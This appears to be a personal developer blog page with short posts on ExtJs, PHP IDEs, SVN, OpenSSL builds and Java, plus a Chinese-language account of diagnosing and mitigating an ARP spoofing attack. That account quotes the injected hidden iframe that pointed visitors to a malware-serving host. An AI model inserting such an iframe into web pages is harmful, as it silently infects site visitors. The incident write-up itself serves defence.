Zijin Huang Official Home

ExtJs 4 – click/drag to select/highlight

Filed under: javascript — admin

ExtJs4 has significant improvements over its class system, which is somewhat similar to a JavaScript framework named “Joose” that I used to make my JavaScript code more OO, they are both based on meta programming, both supports things like “singleton”, “traits”, “mixin” …

Just a quick experiment to create something that I might involve doing for a project.
The following bits of markup and code allows the user to click then drag over a set of boxes within an area, at the end of the drag, you are alerted which elements have been highlighted.

The Demo – See it in action!
Just click and drag from anywhere outside the the 10 smaller boxes and move mouse to highlight the boxes.
Get the code from http://jsfiddle.net/LFgzx/92/

The markup

<style>
    .element { width:20px; height:20px; border:1px solid #ccc; position:absolute; }
    .element-highlight { background-color:red; }
    #canvas { width:100px; height:200px; border:1px solid #ccc; position:relative; }
    #hightlightbox { border:1px dotted #ccc; position:absolute; left:0px; right:0px;display:none; }
</style>
<div id="canvas">
    <div class="element" style="top:20px;left:20px;" id="e1"></div>
    <div class="element" style="top:40px;left:20px;" id="e2"></div>
    <div class="element" style="top:60px;left:20px;" id="e3"></div>
    <div class="element" style="top:80px;left:20px;" id="e4"></div>
    <div class="element" style="top:100px;left:20px;" id="e5"></div>
</div>
<div id="hightlightbox"></div>

Few things: elements are placed inside the canvas using relative/absolute positioning. div.hightlightbox is the dotted box that appear when you drag, it’s only shown when dragging.

The JavaScript

Ext.define('My.DragHighLight', {
 
    extend: 'Ext.util.Observable',
    constructor: function(){
        this.addEvents({
            "highlighted" : true
        });
        // Call our superclass constructor to complete construction process.
        this.callParent(arguments);
        this.init();
    },
 
    init: function() {
 
        this.locationCache = [];
        this.canvasRegion = this.getLocation(Ext.get('canvas').dom);
 
        Ext.dd.DragDropManager.mode = 0;
        var canvasElements = Ext.select('div.element');
        Ext.each(canvasElements.elements, function(el) {
            new Ext.dd.DragDrop(el);
        });
 
        var THIS = this;
        //Ext.get('canvas').on('click', function() {
        //    Ext.select('div.element').removeCls('element-highlight');
        //});
 
        dd = new Ext.dd.DragDrop("canvas");      
        dd.startDrag = function(x,y) {
            //activate the highlight box
            Ext.get('hightlightbox').setStyle('display','block');
        }
        dd.onDrag = function(e) {
            var startX = Ext.dd.DragDropManager.startX,
                startY = Ext.dd.DragDropManager.startY,
                curX = e.getPageX(),
                curY = e.getPageY();
 
            var topLeftXY, bottomRightXY;
 
            //4 possible directions
            //right
            if (startX < curX) {
                //up
                if (curY < startY) {
                    topLeftXY = [startX, curY];
                    bottomRightXY = [curX, startY];       
                //down    
                } else {
                    topLeftXY = [startX , startY];
                    bottomRightXY = [curX, curY];
                }
            //left
            } else {
                //up
                if (curY < startY) {
                    topLeftXY = [curX, curY];
                    bottomRightXY = [startX, startY];
                //down    
                } else {
                    topLeftXY = [curX, startY];
                    bottomRightXY = [startX, curY];
                }
            }
 
            //avoid dragging outside the canvas
            if(topLeftXY[0] < THIS.canvasRegion.left) {
                topLeftXY[0] = THIS.canvasRegion.left;
            }
            if(topLeftXY[1] < THIS.canvasRegion.top) {
                topLeftXY[1] = THIS.canvasRegion.top;
            }
            if(bottomRightXY[0] > THIS.canvasRegion.right) {
                bottomRightXY[0] = THIS.canvasRegion.right;
            }
            if(bottomRightXY[1] > THIS.canvasRegion.bottom) {
                bottomRightXY[1] = THIS.canvasRegion.bottom;
            }
 
            var w = Math.abs(topLeftXY[0]- bottomRightXY[0]),
                h = Math.abs(topLeftXY[1]- bottomRightXY[1]);
 
            //create the highlight box
            var box = Ext.get('hightlightbox');
            box.setXY(topLeftXY);
            box.setSize(w, h);
 
            var canvasElements = Ext.select('div.element');
            Ext.each(canvasElements .elements, function(el) {
                //check for overlap
                if (THIS.isOverTarget(box, el)) {
                    Ext.get(el).addCls('element-highlight');
                } else {
                    Ext.get(el).removeCls('element-highlight');
                }
            });
 
            return this;
 
        }
        dd.endDrag = function(x,y) {
            //deactivate the highlight box
            Ext.get('hightlightbox').setStyle('display','none');
            var selectedEl = [];
            Ext.each(Ext.select('div.element').elements, function(el) {
                if (Ext.get(el).hasCls('element-highlight')) {
                    selectedEl.push(el.id);
                }
            });
            THIS.fireEvent('highlighted', selectedEl);
        }
    },
    getLocation: function(oDD) {
 
        var el = oDD, pos, x1, x2, y1, y2, t, r, b, l;
 
        try {
            pos= Ext.core.Element.getXY(el);
        } catch (e) { }
 
        if (!pos) {
            return null;
        }
 
        x1 = pos[0];
        x2 = x1 + Ext.fly(el).getWidth(true);
        y1 = pos[1];
        y2 = y1 + Ext.fly(el).getHeight(true);
 
        t = y1;
        r = x2;
        b = y2;
        l = x1;
 
        return Ext.create('Ext.util.Region', t, r, b, l);
    },
    isOverTarget: function(dragEl, targetEl) {
        // use cache if available
        var loc = this.locationCache[targetEl.id];
        if (!loc || !this.useCache) {
            loc = this.getLocation(targetEl);
            this.locationCache[targetEl.id] = loc;
 
        }
 
        if (!loc) {
            return false;
        }
 
        var pos = {x: dragEl.getX(), y: dragEl.getY()};
        var curRegion = Ext.create('Ext.util.Region', pos.y,
                                               pos.x + dragEl.getWidth(),
                                               pos.y + dragEl.getHeight(),
                                               pos.x );
 
        var overlap = curRegion.intersect(loc);
 
        if (overlap) {
            return true;
        } else {
            return false;
        }
    }
});
 
var h = new My.DragHighLight();
h.on('highlighted', function(els) {
    //console.log(els);
})

Feel free to modify and extend to your needs …

Comparing Zend Studio and Netbean on PHPUnit integration (code coverage, profiling)

Filed under: php,Uncategorized,zend studio — admin

I have been a fan of Zend Studio for Eclipse, it’s been working great, it’s feature rich, easy to use. I have also been trying another strong contenter Netbean for PHP, it’s another IDE that is getting increasingly popular. Netbean has strong focus on web development and it’s not diffiult to why it’s favoured by many PHP developers.

Recently I’ve been evaluating both editors for the ease of use when working with PHPUnit, how easy is it to write/run tests and see code coverage reports. If you are a fan of test driven development (http://en.wikipedia.org/wiki/Test-driven_development) you should know how important it is to be able to easily write your tests and execute your tests frequently, we dont want the testing to be slowing down the development too much!

At the time writing, Netbean seems to be stronger in this area than Zend Studio. The versios I am refering to are Netbean 6.8 and Zend Studio 7.1.

The main differences are outline as follows (Pro and cons for each IDE):

1. Netbean will do the code coverage report (highlight the code that has been executed by the profiler) directly in the file editor. This allow you to continue editing the code or inspecting the code after the tests are run and amend as needed. The code coverage highlight can be very useful when tests fails, as it shows the execute of path. With Zend Studio, code coverage report for the files are shown in a seperate window (not editable). Seescreenshots taken from both IDE, in Netbean “Calculator.php” editor tab is editable whereas in ZS,the top left windows showing the code coverage for “Calculator.php” are NOT editable, and you have to use another editor window to open the file for edit.

2. Both Netbean and Zend Studio allow you to click on a php class file andautomatically create the phpunit test case class. However only Netbean will remember the link between the original class and the phpunit test case generated for that class. Now this is making a big difference, this means in Netbean, while you are editing the class to be tested, simply hit “CTRL + F6″ to run test for the class that you are currently editing, it will automatically locate the phpunit test case generated ealier which links to this class, run the test and do the code coverage highlight. This gives you instant feedback.In ZS, you have to locate the test case file generated and “profile” as “PHPUnit test”.

3. Zend Studio PHPUnit testing works out of the box, as phpunit, php binaries and ZendDebugger are bundled within ZS installation. Unlike Netbean, you have to go through the hassle of configuring PEAR in order to install PHPUnit, specify your php installations, installing xdebug. Having said that, if you use XAMPP or WAMP it’s pretty simple to setup to work with Netbean.

4.  It seems running tests on both editors are quite slow and Netbean seems slower than ZS.

Hope both IDE see their weeknesses and continue to improve, they have been doing a good job so far!

TortoiseSVN commit file ignores

Filed under: php,subversion,svn,TortoiseSVN,version control — admin

As a LAMP developer, I need to use SVN to version my PHP projects, TortoiseSVN has been great, user interface and menu options are self explanatory. The only confusion was the ways that file ignores works. With LAMP web projects there are couple of ways that I want the commit file ignore to work so the repositories can be kept as tidy as possible.

Three types of files to be ignored:

Type1: I develop with Eclipse PDT, every Eclipse PDT projects will have these project files/folders: .projec, .cache, .settings. These files/folders should not be commited to SVN repository

Type2. There are files in the project that I want to keep a different local copy on development machine than the repository. This file should not be commited to the repository. Typical situation for this is configuration files. I want keep a local copy on my development machine with database connection informations for my own PC, the copy at the repository will have a different copy (this copy will contain the database connection information of the deployment server).

Type3. There are files in the project that are generated, which needs to be ignored completely. Examples of these files are cache files, samrty template cahce files. They are generated on my development PC, obviously they should not be committed to the repository.

Here’s how I tackle each type:

For type1: use global ignore in TortoiseSVN. The global ignore can be set in TortoiseSVN global settings. For details check the docs: http://tortoisesvn.net/docs/nightly/TortoiseSVN_en/ch05s25.html#tsvn-DUG-settings-main

For type2: use TortoiseSVN’s “ignore-on-commit” feature. Files can be moved to “ignore-on-commit” change list when you bring on the commit dialogue. Once files are moved, they will be on the “ignore-on-commit” list everytime you bring up the commit dialogure in the future, they will be unticked so by default they will not be commited. For details check the docs: http://tortoisesvn.net/docs/release/TortoiseSVN_en/tsvn-dug-commit.html

For Type3: use SVN server’s “svn:ignore” feature.  Note this is done at the svn server, this informatin is attached to the folder at the repository, so after you added a svn:ignore, a commit is required to commit this change to the repository.  T add a svn:ignore, right click on the parent directory of the files that you want to ignore: TortoiseSVN -> propertie. A dialogue will pop up Click “New…”, select svn:ignore as “property name”. Enter a list of wildcat ignore patterns or the filename delimited by space,  click “OK” then do a commit, then you are done. From now on, every files created matching your wildcat will be ignored, and will not show up in the commit dialogue.

Hope this is helpful, any comments or suggestions are welcome. I don’t know if it’s the best way but I will settle on it for now unless I found better solutions!

Create new project on existing directory – Zend Studio for Eclipse

I use WAMP to develop my PHP projects, what i normally do is to setup my project files as sub directories under WAMP’s www folder (C:\WORK\WAMP\www) , this way I can develop and test my sites on http://localhost.

I was giving Zend Studio for Eclipse a try, but having a alot of frustrations in setting up new projects. What i wanted is to get Zend Studio to create a new project for an exsting directory in my WAMP’s httpdocs folder (C:\WORK\WAMP\www)

For example, i have a folder C:\WORK\WAMP\www\SampleProject with all the php files for SampleProject, I wanted to create a new project in Zend Studio for SampleProject, and have Zend Studio work on the files directly in C:\WORK\WAMP\www\SampleProject. The best way i found doing this:

1. create a new empty sample project, name the project anything you like. Depending on your default workspace, and the name you’ve given to the empty project you just created, you will find the project setting files created by Zend Studio in similar location like this: C:\Documents and Settings\Administrator\Zend\workspaces\DefaultWorkspace\MySampleProject

2. Open up C:\Documents and Settings\Administrator\Zend\workspaces\DefaultWorkspace\MySampleProject\.project you see an xml file, you can change the project name as you wish: <projectDescription><name>MySampleProject</name></projectDescription>

3. Copy .cache/, .settings/ and .project into C:\WORK\WAMP\www\SampleProject (the already existing directory where you want to create a new project in Zend Studio.

4. Go back to Zend Studio, File -> Import -> Existing projects into workspace, browse for the folder C:\WORK\WAMP\www\SampleProject, you will see your project will be listed, select it and finish. Now Zend Studio will build your projects

Maybe i am not doing it right? maybe i am missing something? It doesnt sound right to me. Anyone know any other way pls let me know!

asp.net casting objects

Filed under: asp.net — admin

2 ways to cast an object in asp.net C#:

1. Button btn = (Button)obj

2. Button btn = obj as Butto

The first type of cast will throw an exception if it cast is invalid, the second will return a null object with no exceptions thrown.

MVC from Microsoft .NET!

Filed under: asp.net,MVC,php,Uncategorized,zend framework — admin

For slightly complex web application, using good design patterns and frameworks will greatly reduce the development / testing time. The MVC pattern is probably the one that is used most. It seperates presentaitons and logic, making web applications extremely flexible. I have been using Zend Framwwork’s MVC, it’s very nice, compact yet flexible, you could look into the library code to see exactly what is going on if you get stuck, you will not see thousand lines of code, but well documented, compact code, which is open and easy for you to extend.

It seems microsoft finally realised MVC is important to developer and start making MVC framework for the ASP.NET platform, and it goes opensource! They made the right move especially the open source part! Comparing Zend framework’s MVC with .NET’s, seems almost identical, hopefully there will be some projects where I can try out the ASP.NET’s MVC :)

Upgrading OpenSSL on RedHat based systems

Filed under: libcrypto,linux,openssl,redhat,upgrade — admin

I was trying to compile a little picece of software called blowcrypt to encrypt some configuration files, this little proggie uses a function called EVP_bf_cfb64 defined in evp.h which is available only from openssl-0.9.8e onwards. having discovered that the system (redhat 9) currently have /lib/libcrypto.so.0.9.7a, it’s way too old. I guess i have to do a openssl upgrade.

libcrypto is one of the libaries that openssl provides, so doing a locate on libcryto will reveal what version of openssl you have. usually it’s symlinked:
ls -al /usr/lib/libcrypto.so
/usr/lib/libcrypto.so -> /lib/libcrypto.so.0.9.7a (we have 0.9.7a!)

now let’s get the latest openssl package:
wget http://www.openssl.org/source/openssl-0.9.8g.tar.gz
tar zvxf openssl-0.9.8g.tar.gz
cd openssl-0.9.8g.tar.gz

here is the tricky bit, normally you think all you would need is ./config, make, make install. This is partially true in this case, but there’s some more to it.
./config
make
make install
the three commands above will build openssl and generate the static libaries: libcrypto.a and libssl.a . .a are static libaries, if you intent to build/compile your proggie staticly (make static), these .a libaries are sufficient. However, the three commands above does not build the dynamically linked libaries .so. In many occasions you want to compile your sofeware which is linked with shared libaries. To build the “shared” version of libcrypto libary, we need to do the following steps:

./config shared
make
make install

the final step is to make sure the symlinks are correct. The “make install” will not update the symlink for you:
#find out where are things install
updatedb
locate libcrypto
locate libssl
#update the symlinks so that they are linked to the newest libs. eg.
/usr/lib/libcrypto.so -> /lib/libcrypto.so.0.9.7a becomes:
/usr/lib/libcrypto.so -> /lib/libcrypto.so.0.9.8g

In the build option of the program which is using the ssl library, also need to make sure the path of the library header files are correct:
##/usr/local/includes/openssl contains my openssl header files, so i need a include option:
-I/usr/local/includes
## tell the compiler we use libcrypto library
-lcrypto

ARP Spoofing Attacks (ARP欺骗)

Filed under: ARP,attack,iframe,spoofing,Virus,Web — admin

我是做网站编程的,本身对network不是很了解,最近领教了一次ARP攻击,学到了不少,和大家分享一下我的经验。

朋友的网站,网址不方便提了,这个服务器上的每个网站,在每张网页顶部上都出现以下病毒<iframe>代码

<iframe src=“http://llboss.com/admin/91.htm” width=“0″ height=“0″ border=“0″>

这个代码会连到llboss.com下载一个javascript, 然后通过javascript再下载病毒到游览者的机器上。

我看到这个情况第一个反应就是查看服务器里的文件,看是不是服务器被入侵了,把我的文件给都改了,把病毒代码加上了。查来查去也找不到这段代码。

在文件里找不到病毒代码,我第二想到的就是IIS中病毒了, 会不会是IIS上的病毒自动在每个文件上插入<iframe>代码. 我把IIS重新装了一次,旧网站的文件也先搁置一般,重新建立一个空白网站,里面放一个空白的index.htm。 在网上打开这个网页,结果代码还是被插入!

查了一下GOOGLE,看到有好几个人有类似的情况出现,有提及ARP欺骗。接着我就向ARP这方面调查。以下是我做的几个测试,都证明了有ARP欺骗。我知道ARP欺骗是网络hosting公司的责任, 一般你的网站中病毒了,是你自己的服务器问题,你自己解决。所以我得先找点实际证据。以下是我做的几个测试,确定是ARP欺骗,而不是服务器中毒。

1。进入服务器远程桌面,在服务器上进入有问题的网站。在服务器里看的网站都是没问题的,同一个网站,在服务器上看,病毒代码没有被插入。但是在外网看(用你家里的上网线电脑看),病毒代码就被插入。由于在服务器上看在本机的网站,网站的数据没有经过router/gateway, 所以病毒没被插入。但是在外网看,数据经过了ARP感染的网络,病毒被插入了。

2。用XArp软件观察ARP通讯。http://www.chrismc.de/developing/xarp/XArp_0.1.5_win2000_winxp.zip 。首先先运行这个软件,然后在命令行打arp -d xxx.xxx.xxx.xxx.  这里的xxx.xxx.xxx.xxx是网关(gateway)的IP。这个命令会把你系统记录的网关的MAC ADDRESS记录清除,清除后再ping xxx.xxx.xxx.xxx 同样这里的xxx.xxx.xxx.xxx是你的网关(gateway)的IP。然后观察XArp的记录,如果你看到你的网关IP的MAC地址有变动,证明就是被ARP污染了。以下是个例子:

193 – 23:03:38: Mapping changed: xxx.xxx.xxx.xxx changed from xx-xx-xx-xx-xx-01 to xx-xx-xx-xx-xx-02
193 – 23:03:38: Mapping changed: xxx.xxx.xxx.xxx changed from xx-xx-xx-xx-xx-02 to xx-xx-xx-xx-xx-01

xxx.xxx.xxx.xxx 是网关IP。xx-xx-xx-xx-xx-01是假的MAC address, xx-xx-xx-xx-xx-02是真的MAC address. 你的服务器本身是处于被污染的状态,所以网关的MAC address是xx-xx-xx-xx-xx-01。 在你打arp -d xxx.xxx.xxx.xxx和ping xxx.xxx.xxx.xxx,你的服务器会发出一个ARP request, 网络的switch回复真正的MAC地址(xx-xx-xx-xx-xx-02),瞬间后你系统储存的MAC address再次被污染,所以又变回xx-xx-xx-xx-xx-01

 3。用Colasoft Capsa Enterprise,用demo version也可以看到。http://www.colasoft.com/download/products.php。这里有解释怎样检测,我就不多解释了。http://www.colasoft.com/capsa/troubleshoot_arp_attacks.php 这里有详细解释。这个也是一个很好用的软件。

OK 确定了是ARP攻击应该怎么办?

1。马上通知你的ISP/Hosting公司,要他们跟进。因为ARP攻击是在网络上其他机器做的,只有网络管理员才能修复。

2。暂时的解决的方法是把你网关IP的MAC ADDRESS固定,确保不被假的ARP回复改动真正的网关的MAC ADDRESS。首先你需要找到你的网关的真正MAC ADDRESS。可以通过XArp或Colasoft Capsa Enterprise查找,找到后在命令行上打
arp -s xxx.xxx.xxx.xxx xx-xx-xx-xx-xx-xx
这里的xxx.xxx.xxx.xxx是网关的IP,xx-xx-xx-xx-xx-xx是网关的真正MAC ADDRESS。打完后,你的网站就能暂时恢复正常,但是要记住,这个MAC ADDRESS不会被记录,一旦服务器重起,服务器将会回到中病毒状态,除非你再按照以上步骤设置网关的MAC地址。所以通知ISP把网络上中毒的机器干掉才是长久的解决方法。

就这么多了,我有什么出错或不对,请留言或发email给我 (me@zijin-huang.com) . 我被这个病毒害得很残。。。希望对大家有帮助

Reference:

http://www.websense.com/securitylabs/blog/blog.php?BlogID=166

http://www.colasoft.com/capsa/troubleshoot_arp_attacks.php

http://blogs.technet.com/neilcar/archive/2007/06/28/arp-cache-poisoning-incident.aspx

http://plog.tcc.edu.tw/post/1460/36428

Java String array to ArrayList

Filed under: java — admin

Heres the code:

String [] stringArray = ….
List list = Arrays.asList(stringArray);
ArrayList arrayList = new ArrayList(list);

reference: http://forum.java.sun.com/thread.jspa?threadID=416275&messageID=1841517

WordPress

Filed under: Uncategorized — admin

10 mins to get wordpress up and running ! very nice system
Fetched the most downloaded theme from http://themes.wordpress.net and everything ready to go :)

Next Page >>>